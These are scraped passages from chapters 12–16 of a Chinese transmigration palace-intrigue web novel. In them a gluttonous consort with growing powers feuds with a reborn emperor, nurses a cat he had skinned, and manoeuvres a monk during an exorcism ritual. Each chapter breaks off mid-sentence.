“奴婢想着,要是不收,他心里肯定不踏实,疑心奴婢要收拾他,所以就斗胆收下了,奴婢将底下人孝敬的银钱也都拿来了,还请娘娘收下。” 他从袖中拿出来一只荷包,双手呈递上去。 姜念虞对银钱不感兴趣,只对吃的感兴趣,就摆了摆手:“既然是她们孝敬你的,你收着便是。” 石永竹感动不已,“是,那奴婢就收着了。” 姜念虞:“那一罐子青杏呢?你都拿来,不过别叫夏桃看见了。” 石永竹:“哎,奴婢这就去。” 不过为了避免叫夏桃看见,他先找了个理由将她支开了,这才将一罐子青杏抱进殿里,双手捧着交给娘娘。 姜念虞打开罐子,一股甜蜜的气息扑鼻而来,拈了一颗送进嘴里,啊,真好吃! 这么多,够她吃好久了。 石永竹送完青杏并未离开,踌躇了下,还是问出了心底的疑惑:“娘娘,为何先前奴婢将手伸进油锅里,并不觉得烫呢?” 姜念虞:“哦,因为油锅里放的其实不是油,而是醋。” 石永竹:“醋?” 姜念虞:“没错,醋的沸点,嗯,就是烧开的温度比较低,比油要低多了,它沸腾之后,上面的那层油就也跟着沸腾了,看起来就像是一整锅油烧开了一样,但其实是一锅醋,你将手伸进去当然不会觉得烫了。” 前世初中课堂上,老师还给她们做过这个实验呢,她印象深刻。 石永竹恍然大悟:“原来如此,娘娘真是聪慧呀,竟然想得出这样的法子来。为了保下奴婢一命,娘娘费心了,奴婢真是不知如何报答您才好。” 说着又跪下了,语气已然哽咽了。 姜念虞:“你不是已经报答了吗?” 她指了指怀里的一罐子青杏。 石永竹破涕而笑,娘娘还真是至纯至善呀,一罐子青杏就叫她觉得满足了。 夏桃拎着一个食盒走进来。 姜念虞赶紧将怀里的一罐子青杏藏起来,又嗦了嗦手指。 石永竹则快速将她吐出来的杏核用帕子包好,藏进袖子里。 主仆俩配合默契,眨眼间就“毁尸灭迹”了。 夏桃进来,看着两人,眼里透出疑惑,总觉得娘娘和这石总管身上透着一股子偷感,难道两人背着自己做了什么见不得人的事? 姜念虞怕漏了馅,忙问夏桃:“你手里拿着什么呢?” 夏桃:“娘娘,这是皇上遣人给您送来的吃食,皇上叮嘱,您务必要吃下去。” 一面将食盒打开。 当看到里头一团血肉模糊的东西时,夏桃吓得尖叫一声:“啊!” 原本听到是吃的,姜念虞还很感兴趣,然而当看到盒子里的东西后,她表情顿时一冷。 仿佛一头蛰伏着的猛兽骤然露出了可怕的獠牙,那一瞬间爆发出的气势骇人极了。 她伸手进去,想探一探它是否还活着,却被夏桃拉开了。 “娘娘别碰!这,这是什么呀?血淋淋的,皇上怎么会送这种东西来给娘娘?还叫您务必要吃下去?” 姜念虞:“这是猫,夏桃,别怕,它快要死了,伤不到我的。” 真正可怕的,是将猫剥皮的人,是下令将剥了皮的猫送来给她吃的李淳! 等等,这只猫,不会就是大反派的那只玄猫吧? 李玄璋怎么回事,连自己的猫都护不住! 但最可恨的还是李淳这个狗东西。 姜念虞气得想杀人,恨不得立刻就去将李淳给剐了! 但眼下救猫要紧。 这只猫求生意志顽强,即便是被活生生剥了皮,也还没彻底咽气。 姜念虞伸手想给它输送异能,却发现它浑身上下没有一处可供着力的点,她指尖甫一触碰上去,它就颤抖不止。 在末世她也是个杀人 12. 第12章 《穿成炮灰,干掉主角当女皇》全本免费阅读 姜念虞抬脚一踢,正踢在李淳的手腕上,李淳手腕一麻,那把剑脱手掉在地上,发出“哐当”一声脆响。 李淳的脸面,仿佛也和剑一样砸在了地上。 满殿皆寂,唯有剑身与地面碰撞的余音。 众人纷纷跪了下来,大气也不敢出。 唯有姜念虞还硬挺挺地站在原地。 李淳死死盯着她,姜念虞也毫不示弱地瞪着他。 就在这剑拔弩张的时刻,外头传来一声:“太后娘娘驾到——” 当太后出现的那一刻,姜念虞立刻扑了过去,努力憋出一把泪来哭喊着:“太后娘娘救救臣妾!皇上他要杀了臣妾啊!” 太后对间接害得自家侄女被禁足的德妃没什么好感,但她更乐意看皇帝的笑话,于是一派保护姿态地站在德妃身前,质问皇帝。 “皇上这又是怎么了?动不动就要杀人造孽,需知身为一国之君,当修身养性,宽厚仁慈,否则何以令天下万民臣服?” 对太后这通不分青红皂白的说教,李淳心里腻歪极了,但谁叫大齐以孝治天下?谁叫杨氏占了一个嫡母的名头? 他这个皇帝也不得不屈尊,对她摆出尊敬的姿态来。 “母后,德妃她该死!她擅闯朕的寝宫,又扑咬朕,从朕的脖子上硬生生咬下一块肉来,害得朕流了这么多血,损伤龙体该当何罪,母后不会不清楚吧?” 看着李淳那血淋淋的脖子,太后险些当场笑出来,德妃真是好样的啊! 好在多年深宫生涯练就的忍耐力让她及时克制住了。 太后皱起了眉头,看向德妃:“德妃,皇上说的可是真的?” 李淳额头青筋跳了跳,太后这话分明是当众质疑他,难道他身为皇帝,还会不惜自损来污蔑德妃吗? 杨氏,他迟早要送她下去! 姜念虞哭哭啼啼道:“太后,您可知臣妾为何要擅闯保和殿?臣妾怀疑,皇上他被恶鬼夺舍附体了!” 太后:“什么?!德妃,这种话可不兴浑说啊。” 心里却是催促道:快,多说点,可算是叫我捏着李淳这贱种的把柄了。 李淳一声断喝:“来人!德妃损伤龙体,污蔑君王,罪不容诛!将她拖下去,即刻斩首!” 太后大发雌威,厉目横扫:“我看谁敢!事情还没说清楚,皇上怎么就急着要将人处死呢?莫不是被德妃说中心虚了,急着杀人灭口?” 李淳:“太后这话实在可笑,朕乃天子,龙气护体,怎么可能被恶鬼夺舍附体?恐怕恶鬼还没靠近朕,就被龙气灼伤得魂飞魄散了! “德妃不过是在胡言乱语、信口雌黄罢了,太后竟也信了?朕看真正被恶鬼夺舍的,是她德妃才对!什么死而复生,分明是死后叫恶鬼占了身子,所以才会做出这种种荒诞之举。” 李淳越说越觉得是这样。 就连太后也被他说得后背爬上来了一丝寒意。 德妃扒着她的那两只手,突然令她觉得分外不适。 但怀疑归怀疑,立场是不能变的。 就算德妃真被恶鬼夺舍,她今日也要站在她这一边。 “德妃,你说皇上被恶鬼夺舍,可有证据?” 至于皇帝的话,她选择性忽略了。 姜念虞:“太后,臣妾当然有证据,就在不久前,皇上活剥了一只猫,还叫人将猫装在食盒里送去给我吃,您说,这种事是一个帝王做得出来的吗?” 太后一脸震惊:“什么?皇上竟做出如此骇人听闻之事?” 姜念虞:“这还不止呢,皇上先前不是要杀石永竹吗?其实根本不是因为石永竹阳奉阴违没给我送吃食,而是因为石永竹撞见了他夺舍的秘密,他怕石永竹说出来,所以借机杀人灭口。” 太后看向带着人赶过来的石永竹,问:“你家娘娘说的可是真的?” 石永竹忙跪了下来,现身说法:“回禀太后娘娘,我家娘娘说的没错,皇上近日的种种举动,实在异于往常。 “皇上以往夜夜都要翻牌子,召幸妃嫔,这一个月只召见了一次丽嫔,却没有叫水。 “还有,奴才有一次撞见皇上竟然趴在地上爬行,还,还发出狗吠之声……” 随着石永竹的揭露,太后看着皇帝的眼神愈发怪异起来。 周围跪了一地的众人都将自己趴得更低了,恨不得钻进地缝里藏起来。 今日她们听到了这等密辛,只怕是要大祸临头了! 李淳坐在榻上,墨春站在一旁给他处理脖子上的伤口。 听着石永竹爆出来的这些事,他脸色阴鸷得似要滴下水来。 这个狗奴才,竟敢在暗地里偷窥监视他!先前他真该将他千刀万剐! 太后:“我听着,皇上这一月来的种种举动,确实怪异得紧,与以往的行事做派大相径庭,皇上作何解释?” 李淳冷笑一声,这一冷笑,牵动了脖子上的伤口,疼得他愈发恼火,恨不得下令将眼前这群人全都杀了。 “解释?太后这话着实荒唐,他算什么东西,不过是个狗奴才而已,也配让朕给出解释?朕倒要问问他是何居心,这样污蔑中伤朕!” 他话音刚落,一道满身是血的身影踉跄着扑倒在了殿门口。 “母后,蓁蓁好疼啊,求你救救蓁蓁……” 这人,赫然是原本应该被关在后殿的蓁蓁公主。 看见他,李淳瞳孔骤然一缩,李玄璋怎么跑出来了?他不是命人盯紧他的吗? 姜念虞也是大为震惊,李玄璋这个大反派,怎么会落到这个地步? 虽说他的人设是美强惨,但他的惨,都是小时候的事了,自从有了师父,学了武功后,就只有他让别人惨的份儿了。 她忙上前,扶着他来到了太后这边。 蓁蓁的出现,让太后敏锐地意识到事情有了突破口。 她关切地问:“蓁蓁,你怎么伤得这样重?你可是公主,谁敢这样对你?不要命了!” 李淳知道一旦让李玄璋开口,自己的名声就完了,忙上前试图阻止。 然而他一动,李玄璋就惊恐地往后退,一张绝色的脸蛋哭得跟小猫似的,“不要,皇兄,蓁蓁不敢乱跑了,别打了……” “皇兄”二字一出,指向性不要太明显。 太后一脸的痛心疾首:“李淳!竟是你将蓁蓁打成这样的?你身为皇帝,竟擅自动用私刑,身为兄长,对自己的妹妹使出如此残忍恶毒的手段,你简直不仁不义,枉为人君! “看来德妃方才说的也不无道理,我看你确实像是被恶鬼附体了,不然做不出这等丧尽天良之事,我这便派人将无相大师请进宫来,给你做法驱邪。” 事已至此,李淳反倒冷静了下来,他是不是被 13. 第13章 《穿成炮灰,干掉主角当女皇》全本免费阅读 “姨母,晟儿回来啦。” 傍晚,下学后的李晟直奔未央宫,来找姨母。 姜念虞听见李晟奶声奶气的清脆呼唤,醒了过来,擦了擦嘴角的口水。 咦?她怎么睡了过去?她不是坐在李玄璋床边,一边吃东西,一边跟他贴贴提升异能吗? 看了眼李玄璋,他还睡着。 姜念虞收回手,走了出去。 殊不知,她一转身,床上的李玄璋就睁开了眼睛。 他手指动了动,被她握着时还不觉得,她的手一抽走,他竟是觉得手心有些空。 “姨母,这是什么?”李晟熟门熟路地进了姨母的寝殿,爬到榻上,发现上面有个窝,窝里躺着一只奇怪的东西。 姜念虞:“猫咪。” 从枕头后面抱出一个罐子,夹出一碟蜜渍青杏,“来,尝尝这个,可好吃了。” 李晟隔着帕子拿了一个,秀气地啃着,“姨母,这只猫怎么没有毛啊?” 姜念虞:“你父皇叫人把它的皮毛剥掉了。” 李晟大吃一惊,“父皇怎么这么坏!” 姜念虞:“你父皇就是个坏种。” 夏桃赶紧看看左右,又看了看窗外,发现没有外人这才松了口气,“娘娘,可不敢这样说,这话要是传到外头去,您又要被治罪了。” 姜念虞吃着酸甜可口的杏子:“好吧,我不说了。” 李晟杏子也不吃了,趴在猫窝边上吧嗒吧嗒地掉眼泪,“咪咪,对不起,我替父皇跟你道歉。” 姜念虞在旁边十分感慨,李淳那个狗东西,何德何能有这么善良乖巧的儿子啊,这一定是遗传了原主姐姐的基因。 晚饭后,李晟趴在炕桌上写作业,时不时看一眼旁边的猫咪。 别看他只有五岁,身为皇子,他的课业是十分繁重的,要上语文课、书法课、历史课、算术课、礼仪课…… 课后有一大堆作业要做。 真是个可怜的崽。 姜念虞庆幸自己现在不用学习了,瘫在一边吃着消食丸,喝着山楂消食饮。 听说李玄璋醒了,她对李晟道:“晟儿,你继续写作业,姨母去看看你蓁蓁姑姑。” 李晟乖巧地点点头。 偏殿。 李玄璋靠坐在床头,面前摆着一张小桌子,桌上是一碗清粥,并几碟清淡的小菜。 姜念虞走进来,一屁股坐在他床边,见他两只手都被占着,就把一只手搭在了他盖着被子的腿上。 却发现这样隔着一层,异能一点动静也没有。 看来最多只能隔着一层衣服贴贴。 姜念虞就问:“你热不热?”也不等他回答,不由分说将他腿上的被子掀开来,将手搭上去。 这下子异能又嗖嗖上涨了。 姜念虞开心了,笑盈盈地看着李玄璋。 李玄璋:“……” 他搁下了手里的碗,“姐姐知道我的身份了?” 在她趴在他床边睡觉时,他召来石永竹,从他那里得知了事情的经过。 ——石永竹给他上药时,她全程在旁边看着。 姜念虞从他面前的碟子里捏了根腌黄瓜吃了,这黄瓜酸中带着点微辣,脆脆的,让人口舌生津,吃了一根还想再吃。 “嗯,知道啊,我一开始就知道。” 李玄璋看了眼她搭在自己腿上的手,“那姐姐可知,男女授受不亲?” 姜念虞:“那又如何?” 她是那样的理直气壮,气壮得无赖又坦荡,倒显得他小题大做了。 李玄璋不知道该说啥了,只能沉默。 姜念虞倒是一点也不觉得尴尬,问他:“这粥你还吃不吃?” 她的眼神实在太直白赤-裸,李玄璋一下子就读懂了她的意图,“吃。” 本来没什么胃口,但他如果不吃的话,她肯定毫不顾忌就拿过去吃了,用他用过的筷子,吃他吃剩的粥……这种情况他自然不会允许。 姜念虞颇为遗憾,只能继续蹭他的小菜吃,嗯,这个豆腐也好吃。 反正在她看来,这里的食物就没有不好吃的。 见她吃块豆腐都像是吃什么神仙美味,李玄璋心中实在疑惑,她到底是哪里来的?难不成真是饿死鬼占了德妃的身子? 姜念虞并不知道自己的贪吃行为已经引起了大反派的怀疑,不过就算知道了也不在乎,因为什么也挡不住她吃东西。 “陆太医是你的人吧?你提醒她小心点儿,李淳很可能会对付她。” 李玄璋:“你如何知道的?” 他决定不跟她迂回婉转了,有疑惑直接问是最好的,因为她那个脑子根本就藏不住事儿。 姜念虞张口就是一通瞎编乱造:“先前我不是死过一回吗,魂魄去了地府,后来又被阎王爷给送回了阳间,阎王爷为了弥补我魂魄被鬼差拘错,给了我一个特异功能,让我能在梦中见到未来的事,我看梦里看见了你和陆太医交谈。” 李玄璋:“李淳为何要对付她?” 姜念虞:“李淳知道你女扮男装,陆太医来给你看诊,没摸出你是女的,那李淳肯定就知道陆太医是你的人,在给你打掩护,不得对付她?” 李玄璋:“李淳知道我女扮男装?” 他很确定自己没在李淳面前暴露过,这么多年他的女扮男装也从未引起过怀疑。 但自从德妃死而复生后,很多事就变得怪异起来。 李淳突然对他恨之入骨,看他的眼神古怪极了,鞭笞他时更像是在报复,而非单纯的欺凌…… 姜念虞:“他何止知道你男扮女装,你的很多事他都知道,因为他**了。” 她本以为自己说出这话,会令大反派大惊失色,谁知却见他面不改色,连眼睛都没眨一下,惊讶的反倒变成她了:“你怎么一点反应也没有?” 李玄璋眨了眨眼,“刚刚你说什么?” 原来是没听清么。 姜念虞又重复了一遍:“我说李淳**了。” 然而这一次,李玄璋依然没能听见。 姜念虞也发现了不对劲,每当她说到“重生”二字时,李玄璋就像是被时间定格了一样,无法接收到她发出的信息。 难道是这本书的世界意识在阻止她说出真相? 但她刚才说李淳知道李玄璋男扮女装,却是成功说出口了的。 于是她对着李玄璋测试了一番,得出了一个结论—— 关于李淳重生、以及她穿书的事,是不被允许透露的。 而关于书中的剧情,她能够透露的也只有既定的事实或者已经发生的事。 比如李淳知道李玄璋男扮女装,这是当前存在的事实。 而如果她想告诉李玄璋,李淳会在将来的哪一天对付他,那是不行的。 世界意识不允许她剧透! 这不是给她增加难度嘛,她还想着将自己知道的都告诉李玄璋,让他负责搞死李淳呢。 李淳不愧是作者的亲儿子,世界意识这么护着他。 如果是这样的话,她还能弄死李淳吗? 李淳不死,她还怎么安心地吃吃喝喝,过无忧无虑的日子啊? 李玄璋见她神色沮丧,将一碟子他不爱吃的豆芽递过去,“吃吗?” 姜念虞一秒开心起来,“吃。” 算了,想那么多干啥,眼前有的吃就不错了。 李 14. 第14章 《穿成炮灰,干掉主角当女皇》全本免费阅读 “德妃娘娘,太后有请。” 姜念虞跟着太后的人来到保和殿,一进院子,就被台上的贡品给吸引了。 那上面的橘子看起来好好吃啊,黄橙橙的,个头都有成年男子拳头大了,她的宫里怎么没有橘子呢? 她都多久没有吃上橘子了,清甜多汁一口咬下去甜津津的橘子…… 好想吃啊,一定很甜吧,要是她能吃上一个,她不敢想象自己会有多么开心满足。 旁边的糕点看起来也很美味,是她在自个宫里没有尝过的。 姜念虞搅着手里的帕子,思考着要如何才能吃到供台上的橘子和糕点。 想着想着,她注意到了一个和尚。 那和尚很年轻,不超过二十岁的样子,肤色如蜜,五官像雕塑一样立体,看起来有点异族血统,即便顶着一颗光秃秃的脑袋,也丝毫不影响他的颜值,反而更突出了他优越的骨相。 在一群中老年和尚里帅得鹤立鸡群。 长得这么好看,有没有可能也能令她的异能提升呢? 目前为止,能令她异能提升的有三个人,李玄璋、林鹤以及李淳。 李淳这个狗皇帝虽然狗吧,但长相方面没得说,毕竟爹妈的基因摆在那里,什么龙章凤姿、鼻若悬胆、俊俏风流之类的词,都可以堆砌在他身上。 李玄璋和林鹤就更不用说了。 他们三人,共同点就是都是美男子。 但因为样本太少,她无法确定令她异能上涨的条件就是这个。 如果那个俊俏小和尚也能令她的异能上涨的话,那么她就可以确认了—— 她的木系异能跟着她穿书后变成了个颜控,一遇到美男子就哐哐上涨。 姜念虞径直走到那个小和尚身后,拍了拍他的肩膀。 那一刻,她的异能源种亮了! 因为接触时间太短,异能没有明显的上涨。 但还是涨了的! 这说明她的猜测没错,她异能提升的条件,就是和美男子接触。 小和尚原本在闭着眼睛念经敲木鱼,肩头冷不丁被拍了下,他受了一惊,睁眼转头看去。 “不知施主有何事?” 姜念虞发现他的眼睛竟是绿色的,看着更有异族感了。 “小师父,你叫什么?” “小僧空明。” “德妃,你在做什么?”李淳和无相大师一前一后走出来,见德妃竟然凑在一个和尚身边,两人离得极近。 姜念虞直起身,“过来跟这位小师父打个招呼罢了。” 既是回答李淳,也是回答空明刚才的问题。 至于为何要跟空明打招呼,她也不说。 总之她现在心情极好,她又找到了一个异能血包呢,这个词是她刚想出来的,她决定将那些能够提升她异能的美男子称为她的异能血包。 就像没有人会嫌钱多一样,她也不会嫌异能血包多。 不管在哪里,实力都是王道。 有了实力,她才能安心躺平当咸鱼,才能专心吃喝玩乐不是? 而她的异能血包越多,她的异能也就增长得越快,实力也就越强。 可惜她没法出宫,以后要怎么跟空明接触呢? “德妃,别忘了你是宫妃,当注意自己的一言一行。”李淳警告她。 姜念虞心情好,懒得跟他计较,“是,皇上。” 看她这漫不经心的样子,李淳一阵气结,德妃这是什么态度! 转念一想,他都已经让无相大师将她打成恶鬼了,再过不久她就要丧命,不会再碍他的眼了,心情便不由得平和下来。 “德妃,你好自为之。” 姜念虞:“?” 怎么感觉这狗东西看她的眼神不太对劲呢? 好像在说——女人,你死定了,所以我不跟你计较。 算了,狗东西的想法她猜不透,索性不猜了。 她径直朝无相大师走过去,“大师,我想跟您单独说几句话。” 李淳皱眉:“德妃莫不是想跟无相大师凑近乎,好让大师对你网开一面?朕劝你还是打消这个念头,大师德高望重、心志坚定,万万不会被你一个饿死鬼迷惑。” 姜念虞轻描淡写地怼回去:“如果我是饿死鬼,那你就是恶犬鬼。” “恶犬”二字轻易戳中了李淳的痛点,他又惊又怒,又有些被道破的恐慌,惊疑不定地盯着德妃,她难道真的知道些什么? 姜念虞和无相大师来到一座亭中,她开门见山道:“大师,李淳是不是拿裴少清来威胁您了?” 无相大师:“……” 他感觉今天的日光实在刺眼,忍不住闭上了眼皮。 姜念虞:“他知道的我也都知道,所以您可不能只站在他那一边哦,他让你做什么?” 无相大师:或许太后说得没错,皇帝和德妃都被恶鬼附身了,不然这两人不会对当年的事一清二楚——要知道当年的知情者都被他除掉了。 也不会不约而同、如出一辙地来威胁他,用的还是同样的把柄。 他如实将皇帝的要求说了出来。 姜念虞:“那现在呢?您打算怎么做?” 无相大师:“贫僧打算为二位施主保守秘密,回去之后就圆寂。” 姜念虞:“倒也不必如此吧?” 无相大师:“贫僧若不死,便要一直受二位威胁,而二位又是水火不容的关系,保不准哪一日你们谁就将这个秘密传出去了,到那时,裴家九郎便再无容身之地,可贫僧若是死了,这一切便能尘归尘、土归土了。” 姜念虞:“那圆寂之前您能帮我个忙吗?” 无相大师:“施主请说。” 姜念虞:“听说无相大师做的素鹅特别好吃,您能亲手做一只给我尝尝吗?要是能把方子写下来给我就更好了。” 无相大师:“……可。” “嗡——”钟声响了起来,驱邪做法的时刻到了。 姜念虞和李淳被请到了院子中央的供台上,两人相看两生厌,各自撇开脸。 奈何无相大师说:“二位须得面对面,相对而坐,如此贫僧才能均等地为两位施法。” 其实这话完全是扯淡,他就是想趁机恶心一下这两人。 这俩都不是啥好东西。 要不是致命的把柄被她们捏着,他早就离得她们远远的了。 姜念虞和李淳只得不情不愿地面对面坐下来。 无相大师走到自己的位子上,开始念经驱邪,其余僧众也加入其中,一时间整个保和殿上空都回荡着 15. 第15章 《穿成炮灰,干掉主角当女皇》全本免费阅读 法事结束,无相大师来到太后面前,禀道:“施主,皇上和德妃都是福缘深厚之人,清气缭绕,立身持正,恶鬼煞气都近不得身,断然没有被恶鬼夺舍,还请施主安心。” 太后一阵失望,犹不死心:“皇上若是没被恶鬼夺舍,何以做出那等异于往常的悖逆之举呢?” 无相大师:“施主,方才做法时,贫僧发现皇宫上空缭绕着一股邪祟之气,正是受了这股邪祟之气干扰,皇上才会神智昏聩,做出异于往常之举。 “贫僧已将那股邪祟之气给清除了,皇上神智已恢复清明,往后断不会再行悖逆之事了。” 他说这话时,原本被云层遮住的太阳露了出来,射出道道金光。 沐浴在阳光下,无相大师身上金红色的袈裟仿佛被镀上了一层金光,他整个人都显得超然物外了,愈发有得道高僧的气质,说出来的话仿佛是佛祖圣言,十分的有说服力。 太后不由得相信了,心下却是颇为遗憾。 李淳这个贱人生的贱种,怎么就没被恶鬼给夺舍了呢?不然她就能光明正大地除掉他了。 “那德妃呢?她死而复生过,真正的她没准已经魂归地府,活过来的她是不知哪里来的孤魂野鬼。” 姜念虞借着袖子的遮挡往嘴里塞了一片橘子,嚼嚼嚼,心道,太后娘娘您猜得真准,我就是来自异世的孤魂野鬼呢。 不过无相大师已经被她拿捏住了,所以她丝毫不担心他曝出她来。 小说里也有这么一遭,只不过时间发生得要晚一些,而且是由太后发起的。 太后派到保和殿的探子发现了李淳的种种异常——李淳重生后和重生前的行为举止判若两人,太后脑洞大开,觉得李淳是被孤魂野鬼夺舍了,于是请来颇负盛名的无相大师来给李淳做法驱邪。 无相大师不愧是得道高僧,一眼就看出李淳的异常。 就在李淳的秘密即将暴露,她这个读者看得悬起了心时,李淳利用前世获得的信息差,平安渡过了此次危机。 李淳前世在李玄璋身边当狗,得知了许多秘密,其中就包括无相大师有一个私生子——名满京城、人称观音郎的裴少清。 无相大师虽然没和裴少清相认,甚至跟这个儿子面都没见过几次,但他心里是盼着裴少清好的。 他知道一旦这个秘密暴露出来,裴少清就会陷入万劫不复之地。 所以他不得不违背自己的原则,背弃自己的信仰,在佛祖面前弄虚作假,演了一出戏,给李淳洗刷了污名,还给他造势,让他光环加身(字面上的意思),令众人相信李淳是受佛祖眷顾的真龙天子。 最后太后这个小反派的计谋自然是没有成功,李淳转危为安,赢得了一波名声。 而现在,因为姜念虞的搅和,事情的结果和小说里的有了一些出入—— 无相大师只是给李淳正名了,却没给他制造出光环假象来。 李淳心中隐隐感觉这场法事的效果太过平淡了,不应该是这样的,但应该达到怎样的效果,他却也不清楚。 好在他的恶名算是被洗刷了。 接下来就看无相大师怎么将德妃钉死了。 “是啊大师,德妃死而复生之后,行为举止和以往判若两人,整天都吃个不停,仿佛饿死鬼投胎,朕也怀疑,她被什么不干净的东西夺舍了,此刻站在我们面前的并非真正的德妃。” 顶着太后和李淳双双期待的目光,无相大师道:“太后和皇上多虑了,人一旦经历过生死,往往就会大彻大悟、性情大变,德妃之所以变得贪吃,也正是这个缘故。 “方才贫僧在闭目施法时,于黑暗中瞧见了一道功德金光,那道金光正是来自于德妃,有功德金光加身,德妃自然是福缘深厚,轻易不会丧命。” 太后是个信佛之人,对无相大师向来很是推崇,听他这样说,她看德妃的眼神顿时就变得不同了。 有功德金光护身的人,她可得多多亲近才是呀。 “那看来是我误会德妃了,来,丫头,到我这儿来。” 太后朝德妃招手。 姜念虞赶紧咽下嘴里的橘子,走下供台,来到太后面前。 太后摘下手腕上缠绕了好几圈的檀香佛珠,塞给她,“这串佛珠是我戴了多年的,从不离身,今天把它给你。” 檀香佛珠散发出一股醇厚的香气,经年闻之,有凝神静气之效,太后每当头痛时,就会捻动佛珠,光滑圆润的珠子从指尖一颗颗溜走,能让她的心情快速平静下来。 经过她多年的佩戴,这串珠子已经被她盘得油润有光泽,有玉一般的质感。 说真的,她还有些舍不得给出去呢。 不过有舍才能有得,她先前怀疑德妃的话肯定让她心里有疙瘩了,要是不当场化解掉,往后她可就借不着德妃的光了。 姜念虞对佛珠什么的不感兴趣,但太后既然要送给她,她干嘛要拒绝?便收着了。 一场法事就这样结束了,李淳深深看了无相大师一眼,“大师,好走,不送。” 一转身,他的脸色就阴沉了下来,好一个无相,什么得道高僧,不过是个油滑的俗人罢了,敢跟他玩儿这一手,那就做好被他报复的准备吧。 两日后的殿试,他定要叫裴少清身败名裂! 可惜,李淳的打算落空了。 因为第二天他就得到消息,无相大师圆寂了。 李淳一脚踹在了柱子上,怒火没发出去,反倒吃了一痛,他愈发不快了。 无相如今都已经死了,他暴露出裴少清的身世又有什么用?根本报复不了他。 李淳有种一拳打在棉花上的无力感,索性去了偏殿,拿起一把剑对着木头人一通暴力劈砍,狠狠发泄了一通。 发泄完他也冷静了下来。 既然无法报复无相,那他就不能曝出裴少清的身世,反而要替他瞒着,如此才好将他拉拢过来,让他为自己所用。 此人颇有治国之能,前世即便是李玄璋为了拉拢他也颇费了一番心思。 如今自己占尽了先机,就不信收服不了一个裴少清。 未央宫。 清晨,春樱走进寝殿,“娘娘,我给您做了一碗杏仁乳酪,多加了蜂蜜,可好吃了,您快起来尝尝吧。” 昨儿娘娘入睡前让她明日唤她起床,她想着娘娘这么爱睡懒觉,光是叫她,她肯定起不来,便想出了一个用美食诱-惑她的法子。 姜念虞闻到乳酪的香甜气息,很没出息地被诱-惑到了,挣扎着从被子里钻了出来。 只是眼睛仍旧睁不开,向春樱撒娇:“你喂我吃嘛。” 春樱看自家娘娘睡得脸 16. 第16章 《穿成炮灰,干掉主角当女皇》全本免费阅读 “姐姐,叨扰你多日,如今我的伤势已经好多了,得回去了,多谢你这几日的照顾。” 在姜念虞打完一套体操停下来时,李玄璋抱着玄猫上前告辞。 姜念虞接过夏桃递来的手帕擦着脖子上的汗,“你这就要走了?再多住几天嘛,你身上的伤还没好全呢,冷宫里条件那么差,不利于你养伤。” 大反派走了,她还怎么跟他贴贴提升异能嘛。 李玄璋:“不了姐姐,我得回去了。” 他坚持要走,姜念虞也不好再留他,心下猜测,他是不是要回冷宫搞事了? 李淳把他打得遍体鳞伤,还剥了玄猫的皮,以李玄璋睚眦必报的性格,肯定会狠狠报复回去的。 想到这里,姜念虞不由得期待起来了,对他的离开也就乐见其成。 “行吧,你快走吧。” 早点回去搞事,报复李淳,也替她出一口恶气。 李玄璋:“……” 他有点看不懂她了,刚才还不舍地挽留他呢,怎么一会儿功夫又盼着他离开了? 在他转身之际,姜念虞忽然唤住了他:“等等,我有些东西要给你。” 不由分说揽住他的肩膀,将人往屋里带。 大反派要走了,她不得抓紧机会多薅点异能? 进屋后,见春樱带着人正在摆饭,姜念虞就道:“吃个早饭再走,反正也不急于一时,对吧?” 李玄璋看着满桌子丰盛的食物,点了点头,也罢,那就再陪她吃顿早饭吧。 她吃饭的样子是那样的认真、虔诚,好像每一口食物都来之不易,都令她感到无比的开心满足。 只是看着,他的胃口也不由得变好了,吃饭不再只是为了完成填饱肚子的任务,而是成了一件令人享受的事。 饭后,姜念虞将李晟和李玄璋双双送出门。 李晟去上课。 李玄璋回冷宫。 姜念虞将春樱打包好的一个包裹递给李玄璋,“这是我让人给咪咪准备的药膏,你要记得每天给它擦药啊,这样它的毛发才能尽快长出来。还有一些吃的玩的,唉,真舍不得咪咪啊。” 她摸了摸李玄璋怀里的猫。 李玄璋接过包裹,这么多东西,却没有一样是为他准备的。 “它不叫咪咪,叫月奴。” 姜念虞:“好吧,月奴。” 但心里还是习惯了叫咪咪。 咪咪多好听啊,简单易记,朗朗上口。 回到冷宫,李玄璋将包裹丢到桌上,不想再看一眼,但在月奴的催促下,还是不得不将其打开来,将里面的东西一一拿出来。 最后他发现底下藏着一个荷包,里头装着一包糖果,以及一盒药膏,还有一张纸条—— “夏桃不许我多吃糖,怕我吃坏了牙齿,这一包糖果就给你好了,药膏你要记得每天擦哦。” (每天都利用李玄璋涨了不少异能,姜念虞到底还是过意不去,决定回馈他一下,于是偷偷将异能注入了药膏里,大大提升了药膏的药效,这样他身上的伤也能好得快一点,但也不至于怀疑到她身上。 姜念虞:我可真是个小机灵鬼呢。) 看完纸条,李玄璋的脸色霎时灿烂了几分。 看来她还是惦念着他的,并没有一门心思只想着猫。 娃儿上学去了,大反派也走了,姜念虞一时竟闲了下来。 想起先前在供台上吃到的福橘,那酸酸甜甜的滋味让她忍不住分泌口水,“石永竹,我宫里怎么没有橘子呢?” 石永竹:“哎哟我的娘娘唉,如今才二月,橘子树都还没开花呢,哪里来的橘子呢?” 姜念虞:“那我之前在供台上吃,不是,我是说之前无相大师做法事时,供台上供奉的福橘是哪里来的?” 石永竹:“想必是从福州运过来的,福州气候温暖,四季如春,当地盛产的福橘个头饱满,味道清甜,天下闻名,所以被选为了贡品,当地官府每年都会运送一批到京城来。 “只是福州与京城距离太远,福橘运过来大多都坏了,好的不剩多少,皇上自己留一些,孝敬一些给太后,再赏赐给几位重臣,就没啦。 “前儿做法事时供奉的那一盘子,恐怕是皇上从自个儿的份例里省出来的。” 姜念虞:“居然没我的份儿。” 石永竹讪讪一笑,不好答这话。 姜念虞哼笑一声,“不过没关系,我自有办法。” 她前世有收集种子的习惯,前儿个吃福橘时,她吐出来的籽就没丢,用帕子包着,塞进了荷包里。 等她拿出来种下,再用异能催熟,要不了多久她就能实现福橘自由啦! 姜念虞跑回屋里,一顿翻找。 春樱坐在凳子上绣花,见状问:“娘娘在找什么?” 姜念虞:“驱邪那天我戴的荷包呢?绿色的,绣了鹦鹉的那个。” 春樱将荷包找出来,“是这个吗?” 姜念虞一喜,“对,就是这个。” 结果荷包打开来一看,里头空空如也,“春樱,荷包里头的帕子哪儿去了?还有帕子里头包着的东西呢?” 春樱:“帕子洗了,里头包了东西吗?娘娘,是什么啊?洗衣房的人居然没来回话,难道是擅自将东西昧下了?” 